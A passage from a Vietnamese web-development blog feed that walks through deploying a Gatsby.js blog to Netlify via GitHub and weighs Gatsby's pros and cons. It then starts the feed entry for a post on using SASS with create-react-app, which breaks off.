url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC8klEQVQoz2MQVFQXUtKAIU1BRQ1ZXWNTJw8dSwc9aycNMxs5XRNtS3tTJ091MxseGWU+OVU4YmAVlWUWkmYWBiEmMGIVk+WRUeaWBiFeORVRFW0xVR0pTQMxNV1eWRUUzc7+oSHxKQHRiYExiYExSYExSQHRib5Rcb6RcUFxyVbuvhySCryyKjwyymjWgjRfvHL1////f//+/Y8K/vz58////537DjAISAgpafLLq/HLq6FrPn/pyts3b2/cuHn37r07d+7cunnrzu07Tx4/eXD/wZ/fv3fs2cfAK8Inq8wtpcAjpcgno4yMGG7fu59XWqWsb2po42Tr4ecaEGbm6G5g7aSgYzJpxpzDx04w8Isq6plIa+iJqWhySchBEI+UAq+0IsPVW3dOrli6qKxwVUP1mub6DR0ta5rqVjXULCotvHNo/55DR5iEJBSMzKQ1dKU19UQU1cVVtaU19ITkVXmkFBgu3Ln/f3LV3wiz/0lOfzN9/hWE/Etz/5/s/CfM9P+GuVsPHeWXVnALCDV1cHXwCbB293ELDDVzcpdU0+GWlGe4fuvm6rWXKms2trTv6Ovd1de3u71zR3Pb9orqDUeOPt578ACbqLSZk7uupZ2JvauRnbO2uS2vtAKPlAJI8+3bN8pmP9JPPmGffy6g7rJ/zSXXkvO2eWf1ko7P2vb+4OH9zEJSetYOWuY2mqbWmmbWGiZWetb2GqZW4ipaDJeuXj975vTqVSs3bdywdu26TZs2r1+/ftPGDatWrrh3986OvftYRaTMwTbrWtrpWzkoG5iKKWtKqmlLqGkzXL1x886tm/v27jly+NDhQwdPHD92+NDBw4cO7dm9683rl3sOHGLgFeaXVeYBRZUCj7QiiJSU55aS55ZSYJi3ZNm5S5ePnz574sy5U+cuQNCJM+eOnTpz8crV7snTmIWlBRU1+OVUwUgNygCnGQZOKQUOSQV2CXl2CXlFAzMNMxt5PRM2cTl2CXkOCXkuKUW0VIWcwgAwwi5so7mgKwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Đăng nhập vào Netlify" title="Đăng nhập vào Netlify" src="/static/945a4d4e42c0c9e1a2a12120a51f1f24/7c811/netlify-create-new-site.png" srcset="/static/945a4d4e42c0c9e1a2a12120a51f1f24/103f2/netlify-create-new-site.png 165w, /static/945a4d4e42c0c9e1a2a12120a51f1f24/748ba/netlify-create-new-site.png 330w, /static/945a4d4e42c0c9e1a2a12120a51f1f24/7c811/netlify-create-new-site.png 660w, /static/945a4d4e42c0c9e1a2a12120a51f1f24/04883/netlify-create-new-site.png 737w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Netlify sẽ yêu cầu đăng nhập. Và bạn có thể lựa chọn bất kì cách nào. Tuy nhiên, mình đã upload code lên Github và deploy code ở Github lên Netlify. Do đó, mình sẽ chọn đăng nhập bằng Github.</p> <p>Vì mình đang làm demo trên tab ẩn danh - tương đương với việc mình chưa đăng nhập Github trước đó. Lúc này, Netlify sẽ yêu cầu mình nhập thông tin để đăng nhập Github.</p> <p>Sau khi đăng nhập thành công, bạn bắt đầu được chuyển đến trang để tạo mới một site.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 55.757575757575765%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJUlEQVQoz6WS627DIAyF8/5v2K3aelnV3ClgMNgGKpK00qZNm7RP5geIg+1jmmvbvuz358vleD6dPs7vh2M3DKWUnHP5jYaJQwixEhARfQVDwLDh0WPA78UXsDs1vqppp8Y30AdnW/TMTETMnB6ISN3XcxaRvNCEGK1z1jkDEIhTKbJcZWFJ6ZkkpVSlInWJbJnLP2jAuVmpm9Y3radZaW2mWRHzn8TamK4f+nEcp+nadl0/dH3v/dZ2ZCbmSBQp0mJDXLwgopRSEyl6xDUq1foADgDAWGstWKhBtGo3I2nxslnNfLqSc05pm3B+8GPZpRTn/ayUtbAKREQbczNmdRvRX9t2Vsp5Xz6/1eScicnVn+GfI0VEV9uWlDMzg3PgIITwpYo7xnGDKdMjySEAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Bắt đầu tạo trang mới" title="Bắt đầu tạo trang mới" src="/static/6412419ca270803b514208a1eb6368d2/7c811/netlify-create-new-site-start.png" srcset="/static/6412419ca270803b514208a1eb6368d2/103f2/netlify-create-new-site-start.png 165w, /static/6412419ca270803b514208a1eb6368d2/748ba/netlify-create-new-site-start.png 330w, /static/6412419ca270803b514208a1eb6368d2/7c811/netlify-create-new-site-start.png 660w, /static/6412419ca270803b514208a1eb6368d2/f5f2a/netlify-create-new-site-start.png 695w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mình sẽ chọn mục <em>GitHub</em>. Sau đó, Netlify sẽ yêu cầu Authorize Github.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 526px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 124.24242424242425%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAIAAAC+dZmEAAAACXBIWXMAAAsTAAALEwEAmpwYAAADSElEQVQ4y6VUS4sdRRS+/8WFO/EFrl0IbtQMBt251hg14EJ/gAjRiAqCiGIw4gMEEeIjZBLIwsQJQ26uMc6dO859P7t7uvt2vavOqSqp6jt3YshCsfk4fbrrfHW+U3WqGgbwTlhrvfcAqKPvrAe0BuDcV99+8tlZQilapw3UwY01TRvw1i2kvFEWzjqLbkaz3bzvvf/08y/ePn3mnTPvf/jRx2jdmnJEVga895dH8zd+bUoI/ted829uvevRn3zt9YM811q/dPJUuSTW+Tr5HZkBAVEbLLiy1hpArtVSUO/9d9//cP6nX86e+/L0ex9475U2d2eOta3KhvAgorXoAC0gEsbycqm1WYetyNqA0kaqMKQNSo1CgdSBXw/FqcNcURooDSvZgLairN3Zu73T7vUH48lsa49e2SG/D+hwPO78tb/f7fcGg8Fw0h+M9nv9/W6vPxznZYXWrTIzIblQPFhJpaHSMGkYl4wLIcP/2jIuGBdcKqlMlG0A0IbqMCI61tpo4qc9HLVx462r/VXNzjv/3x/AUHNYN6mM0lAjypN8pXNVDhNqHSDDguGKHGtWXOoApWdJNltkWV7Ok4PpPE2yfJ4cLNJiHcOklipUG2Qj2nr1a9R7XsPgkb8OUDo0Qcj8P2u2WitSEc4ZZ0wITgkhhHLGKaGMMkoZY7yqCBfibjIiMglpKQuiklIuiuBYixDEBxP7NL5s0FhjRTYAzjpv/T/wb2QDNiy6Eqo27+6Jfo0O7++y/i7rBRv9Dgs/12iz7lQliLbhvf9m+ON9Pz/x6KXjD21uPLh57LHLz29ce/npqyeOXTtx/LdXnrr64nNbpx6/8sIDF595eHPjkUvP3n/hyVebb3nrG876VOTbya2b6Z/NiFa6c2Ny6/qwtT1ubY9a10c3m7PbrazdPAzYTv7oVqOQ+Z5bhdqUaVlmZZHkRVpqqe+9VbErjqAjDIBUSiololVaxy4GU9s60kAgx+OmpNKH9wHw0Mlmfd2E/o0nUURIpevRILsibJGk09lisUjzfKm0KZcky/LReFZVVGnjvB9N5uPJdDpbzOaJEAqtC+R6DsZFUVYVYVVFKRMASJkoSpIXSy5kfRmFPiOsIqymSKX/BvRFeEEOKc/qAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Netlify sẽ yêu cầu Authorize Github" title="Netlify sẽ yêu cầu Authorize Github" src="/static/589cc6f5ac01748896036166b1b8bad8/55e98/netlify-authorize-github.png" srcset="/static/589cc6f5ac01748896036166b1b8bad8/103f2/netlify-authorize-github.png 165w, /static/589cc6f5ac01748896036166b1b8bad8/748ba/netlify-authorize-github.png 330w, /static/589cc6f5ac01748896036166b1b8bad8/55e98/netlify-authorize-github.png 526w" sizes="(max-width: 526px) 100vw, 526px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bạn nhấn vào button màu xanh để đồng ý là OK.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 513px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 129.6969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAaCAIAAAA44esqAAAACXBIWXMAAAsTAAALEwEAmpwYAAACbklEQVQ4y41UyY7UMBCdT+XAF3DhAhJnhDhw5184j1ikEVfQaOgkzuLY5bLLu4OcZFZ66H6yWqWon+rVq+UixqS1Zoy1HWvbVoJalqU8xnIMKeWLUkqMceZiHCcppVJorTXGICIqBFBE9Cw5xuhDcM4REVUaIWrn3JZ/eR6VHEJAxGmaJs75LKaJD+OkEJdT2GX7EH5d39wcukPXX/9pf18fGjY6H06TcykpJU1WG9KG0BhDlpxLKVflx2hbOXvmlBKAstZqrY02/y/1qeyUktHaEAGARq21BgAhpEKUErz3T2hE5JwrpVRyztlZa8kiViqRlVJyLhTiLKT/p/gQYkop51JrNkRq5a3KDWoTTrl1a1guGo02RgKAUqBQgtLG5FK2dxwbOeUUYjBE3vuwIcZzDYs5KcK+H4UQAGpNrs4xfJ2wnJB03w+ccyElKNUPwzTNZ5IjGMVYz/k8TtM4cSGEBOCcA8AspBBy4vM8i5kLIeUsxNCPMcbd7XWx0oa4vtt4/xxjDWLcgxBjnY5c3d6xti6fOV67bB9C1zHW923bNU0zC7ml8tX1GEK4C8L6m2J6tJKH5rDSh+2YNE3LGGta1jPWsaFjfdd2bdexfmjbzll3T04pOXfX4mCttW4bVrteB+ecpx2WyJay3A9JLMkGKyUgamPqXxD1uX2OORlHtTtK6XUnQamcy7q32/Yue7aylAcLvs12PrruJ7CROxpe/njz6uf7F99ffxkuvV0knT3bI/F33z59uPr89uvHy/7K0qLI17Y/aH5aX3mscZWd8mKXYvLiFkJSCoyuB0SBgupiPQ9SgpSgtX5C/guuIuhctgrXngAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Chọn repository để install" title="Chọn repository để install" src="/static/858509b79b13ea5e02e20fc7a77d05a7/7fe11/netlify-choose-project-1.png" srcset="/static/858509b79b13ea5e02e20fc7a77d05a7/103f2/netlify-choose-project-1.png 165w, /static/858509b79b13ea5e02e20fc7a77d05a7/748ba/netlify-choose-project-1.png 330w, /static/858509b79b13ea5e02e20fc7a77d05a7/7fe11/netlify-choose-project-1.png 513w" sizes="(max-width: 513px) 100vw, 513px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo, mình chọn repository vừa upload lên github, rồi nhấn <em>Install</em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABqElEQVQoz6VSTY8TMQyd/3+AAwUWkPgtHPfEEVGx7bY77Hy2na84duJMHsq0u+qhiANPT5YT6dkvdrLnolz/etjtn/Ki2O52m8fH5ngEEGOMQHxJbiJT59myYxFmtlbYsmX1PngN3qv3TkS9vy1umHZmejLT3oy5NTnTM02bvtv0p+3QpRsyuTWsPixQ1RBCXJA5VeucdY5SC9U5StCBTDeNo7UBUeOsMZ5lGoJfxJfO+A9kRDQMw7ig64d+GJfDdDydrLX/EPd9XzVN3bZN25Z1XdZ13R6aw6Gsqn4Yk0/vnE9Q1TTAFJP1JHbOWbbEy5SZxaXBk7UiYshMxiQbRLrgXOT12dllpRdc5/Prgm/uOU37+/19VVZFXW93+e+iLKqqXT7JIpmBAIQYVcQ4R+Ks93KuO88xI2NURYOkmOhUw2IB1z9rDlCFBoSAF4OSrddbom+W3xCtmN/1w8djt+qGlaH3wB3wCfgMfLniHfABeBvC10xVERUgwCRGg9gjNkAB7IENsAZ+vPAn8ADkwBHwSSzinVNZ2LK07BrWmsJJ0FgY/9c9/wF56ihGItfUqQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Bắt đầu deploy" title="Bắt đầu deploy" src="/static/b8fee36f00cc8078a6189f64fb765aae/7c811/netlify-bat-dau-cai-dat.png" srcset="/static/b8fee36f00cc8078a6189f64fb765aae/103f2/netlify-bat-dau-cai-dat.png 165w, /static/b8fee36f00cc8078a6189f64fb765aae/748ba/netlify-bat-dau-cai-dat.png 330w, /static/b8fee36f00cc8078a6189f64fb765aae/7c811/netlify-bat-dau-cai-dat.png 660w, /static/b8fee36f00cc8078a6189f64fb765aae/3be76/netlify-bat-dau-cai-dat.png 704w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo, mình chọn vào phần gạch vàng như trong hình trên, rồi nhấn vào <em>Deploy Site</em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 80.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABa0lEQVQoz42Sy07DMBBF84eITX8CCbHgo5BYsWAJ7KDtioolgqp5NG6dNo/GnhnHY6MktEilkXo8kq9Hurq2xkFe5J9f85WUYRRHcZyuV2spF2E0X4RhHCdpGibJfBFGyXK5WkVxnJeV9945570PTGOUVhq01qC0BgSl6lqpvqq6Vlr/VtdRShOR7wiIjAbQANZad4T/U76L6jPdXrfJiUirXe2cY2Z27qgaawHRnyI4OrsBTpurspKbzWa7zbJsnWWNtf5sAq2hqKqyLPOi2BaFAgBEQCRDgIBESIhIXRt1v7UNQqKgaRrTtPR3Y2ZrLXfYVnO7OnFo8l4HZMxSiFSIvCyG3sxDb7bWQjcqMsYNc9qMROss29WqndIAg8nsuKjK/tP8H/KhTpuVVkJKIeVSCNj/u3NH5Zk9IgMyoh9IGDTfRfPLycv1x/RqNrl4fXpIFv39zzLfR9+jt+fb2fTmfTwaPz+m0fnmH3fGopNxDVmYAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Chọn nhánh để deploy" title="Chọn nhánh để deploy" src="/static/0e0d5c7a0495b723b399ca5ccc59ab40/7c811/netlify-deploy-site.png" srcset="/static/0e0d5c7a0495b723b399ca5ccc59ab40/103f2/netlify-deploy-site.png 165w, /static/0e0d5c7a0495b723b399ca5ccc59ab40/748ba/netlify-deploy-site.png 330w, /static/0e0d5c7a0495b723b399ca5ccc59ab40/7c811/netlify-deploy-site.png 660w, /static/0e0d5c7a0495b723b399ca5ccc59ab40/dc057/netlify-deploy-site.png 678w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Chọn nhánh để deploy</p> <p>Công việc cuối cùng là chờ đợi cho đến khi Netlify cài đặt xong.</p> <h4 id="thay-đổi-cài-đặt-trang-netlify" style="position:relative;"><a href="#thay-%C4%91%E1%BB%95i-c%C3%A0i-%C4%91%E1%BA%B7t-trang-netlify" aria-label="thay đổi cài đặt trang netlify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay đổi cài đặt trang Netlify</h4> <p>Trong lúc chờ cài đặt thành công, mình sẽ thay đổi tên của blog mặc định. Bạn thấy đấy, tên mặc định khá xấu xí:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 32.121212121212125%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHElEQVQY003OW0sCURQF4Pn5QZhhPSVpWGJvMniFSBtTGXDyMppTvUeWleM5+zjnviPD8GM9rJfNXs5Zofj4/NIfDINxOBiFwXgajCZ+MJzM5uE8mu4yi55aXset1d1ao1yptrxOvlhy2vc9LTffn2+UfAFZreMl5xsKoLTBHWstImbPc8eZk6vSdTaXTx2lb+88p93to0lY/JrAckPeE7KQIpFSSSk550opY4zWGhHTmdNKvTGNIj94ODhMVZs3DjAmpBJSKW3+CpdCCKH077215v9z2XVrjaY/CLxu76JwufhYOsZaLvhqvaYAhBBETHiyimMASiilALjHWmu2ENEY64jtPGAMGKMAUirOBQUGDLaY2dFa670upPoBVOZB673S2ugAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tên mặc định của Netlify khá xấu" title="Tên mặc định của Netlify khá xấu" src="/static/66a28c3e06f8d7d243f090f8223c8ae4/7c811/netlify-ten-mac-dinh.png" srcset="/static/66a28c3e06f8d7d243f090f8223c8ae4/103f2/netlify-ten-mac-dinh.png 165w, /static/66a28c3e06f8d7d243f090f8223c8ae4/748ba/netlify-ten-mac-dinh.png 330w, /static/66a28c3e06f8d7d243f090f8223c8ae4/7c811/netlify-ten-mac-dinh.png 660w, /static/66a28c3e06f8d7d243f090f8223c8ae4/6a959/netlify-ten-mac-dinh.png 699w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mình sẽ nhấn vào <em>Site settings</em> để thay đổi <em>Site name</em>. Phần tiếp theo khá đơn giản, bạn cứ làm theo hướng dẫn như trên giao diện là được.</p> <p>Lúc đầu mình định lấy tên <em>gatsby-tutorial</em> nhưng tiếc là tên này đã tồn tại, nên mình lấy tên <em>gatsby-tutorial-demo</em>.</p> <p>Kết quả trang blog của mình bây giờ có địa chỉ: <em><a href="https://gatsby-tutorial-demo.netlify.com">https://gatsby-tutorial-demo.netlify.com</a></em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 86.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAACd0lEQVQ4y3WSS28TMRSF52ex4NES2tIHDX1THm2apC2wgp8AYoVYgNjzcwq0aSM1k8d4PL52MsnYjl8TiMQSTSKiBKlH38rSsY/Pvd7pm7fL649XV/PzuaXbd+Zuzefu5hZzC0tz9x/cm8vN5RaX1/LLa+srj/ILD1dW1vLHJ6fv3n/4+vnLt08fvUKpfHB0dFgsvjgsFMrlo3K5UCwfFEqF0vH+s4P85vbG1u7G9u7miK2dvZ29J/tPn5dOXhZfvfZqtYBSR4im1ABkSGmMNdoYbazWZgznppcYKXXcNUIaznWvq7xGE4AMSTQAGAAdAP2lVGqMmdjGCOGSJNXadTpWCMu5TRLr1X0fICIEA8ERwRiHlFIz9eYYxgDjsN3uWGsm8s7Ofvh+w/cbjXqz5tevr2sIhda6LPoUALzT6XLOpw+9i4tWC/2p138HwVCbVGcy1jrn0gnWWsYGWqfOzVzqXV1WCYkxZmFIKTBKGQCljDHWZqxNKYvjrtaGAFNKO2dnzVeXcUy7XRbHNDPRzAMAFCgFSggAZZwLxngc617PKjVjbrbbQ4CUwKDftyqTdi5N08EE51wcO8YsY1ZKa+3EXG2g0DSbstWSva5IkqSXJEJIKfsjpBBS9bPAY2ZiVyoXlOKIoCBoIoTCECMUBgFCCLVaCAVhvd7odGJrndZW61lztXrNheXCKmWU0kplbf83p5vwzs9bfmPo+y5JtMzUN8aOxuP+zcndaK5ULgmBUVqEcYRQOI6NcRSMfkGA9vvqv4Ub4/l+XSstuBRccC54IrK2hBSjwoSQWpvp5qfxzr7/pKyNIyBAR7CI0BkiwHi897NE5C+b9VRUJetWcwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kết quả Gatsby blog sau khi deploy lên Netlify khá ngon lành" title="Kết quả Gatsby blog sau khi deploy lên Netlify khá ngon lành" src="/static/7464afd1fbab23dea7a259149a8bda1c/7c811/netlify-live.png" srcset="/static/7464afd1fbab23dea7a259149a8bda1c/103f2/netlify-live.png 165w, /static/7464afd1fbab23dea7a259149a8bda1c/748ba/netlify-live.png 330w, /static/7464afd1fbab23dea7a259149a8bda1c/7c811/netlify-live.png 660w, /static/7464afd1fbab23dea7a259149a8bda1c/c2a54/netlify-live.png 829w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Kết quả khá ngon lành phải không bạn (còn phần custom domain, bạn có thể tự nghiên cứu thêm, cũng khá đơn giản, nếu cần bạn có thể để lại bình luận, mình sẽ support).</p> <h2 id="đánh-giá-ưu-nhược-điểm-của-gatsbyjs" style="position:relative;"><a href="#%C4%91%C3%A1nh-gi%C3%A1-%C6%B0u-nh%C6%B0%E1%BB%A3c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-gatsbyjs" aria-label="đánh giá ưu nhược điểm của gatsbyjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đánh giá ưu nhược điểm của Gatsby.js</h2> <p>Cái gì thì cũng có ưu nhược điểm của nó. Đối Gatsby.js thì sao?</p> <h3 id="ưu-điểm" style="position:relative;"><a href="#%C6%B0u-%C4%91i%E1%BB%83m" aria-label="ưu điểm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ưu điểm</h3> <ul> <li>Trang blog tạo bằng Gatsby chạy khá nhanh. Thậm chí bạn chỉ cần load trang web một lần, sau đó, dù mất mạng thì bạn vẫn có thể sử dụng trang web bình thường.</li> <li>Hỗ trợ nhiều plugin, giúp tạo trang blog nhanh mà tốn ít công sức (bài viết sau mình sẽ liệt kê ra các plugin thường hay được sử dụng nhất)</li> <li>Khả năng tái sử dụng tốt. Sự thật là mình đã tạo ra 2 trang blog với cùng một core, chỉ biến tấu đi một chút.</li> <li>Không yêu cầu cài đặt server, thay vào đó có thể deploy ở nhiều nền tảng miễn phí</li> </ul> <h3 id="nhược-điểm" style="position:relative;"><a href="#nh%C6%B0%E1%BB%A3c-%C4%91i%E1%BB%83m" aria-label="nhược điểm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhược điểm</h3> <ul> <li>Vì Gatsby.js chuyên để tạo static website, nên việc triển khai hệ thống bình luận đều phải dựa vào service bên thứ 3 như: Disqus, Facebook, Google Plus,...</li> <li>Nếu bạn không rành về lập trình thì sử dụng Gatsby có vẻ khá khó khăn. Mặc dù, Gatsby hỗ trợ nhiều starter rất hay.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách để tạo trang blog với Gatsby.js mà mình đã đúc kết lại được sau khi thực hành nó một thời gian. Dĩ nhiên, còn nhiều thứ mà mình chưa đề cập đến ở đây như: phần bình luận, chia sẻ mạng xã hội, tìm kiếm trên trang web, SEO,... Nhưng dù sao thì mình tin rằng, với những thứ mình trình bày ở đây, bạn có thể tạo cho mình một trang blog đơn giản. Sau đó, nếu cần thêm các chức năng phức tạp hơn thì công việc sẽ đơn giản hơn rất nhiều.</p> <a href="https://github.com/completejavascript/gatsby-tutorial" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="https://gatsby-tutorial-demo.netlify.com/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Bài viết đến đây cũng khá dài rồi, xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Sử dụng SASS với create-react-app]]><![CDATA[Có nhiều cách để style component trong ứng dụng React. Tuy nhiên, cách mà mình thấy cơ bản và hiệu quả nhất, đó là dùng SASS. Bài viết này sẽ giới thiệu với bạn cách đơn giản để sử…]]>https://completejavascript.com/su-dung-sass-voi-create-react-app/https://completejavascript.com/su-dung-sass-voi-create-react-app/<![CDATA[Create-react-app]]><![CDATA[CSS]]><![CDATA[SASS]]>Mon, 07 Jan 2019 06:00:00 GMT<p>Có nhiều cách để style component trong ứng dụng React. Tuy nhiên, cách mà mình thấy cơ bản và hiệu quả nhất, đó là dùng SASS. Bài viết này sẽ giới thiệu với bạn cách đơn giản để sử dụng SASS với create-react-app.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: 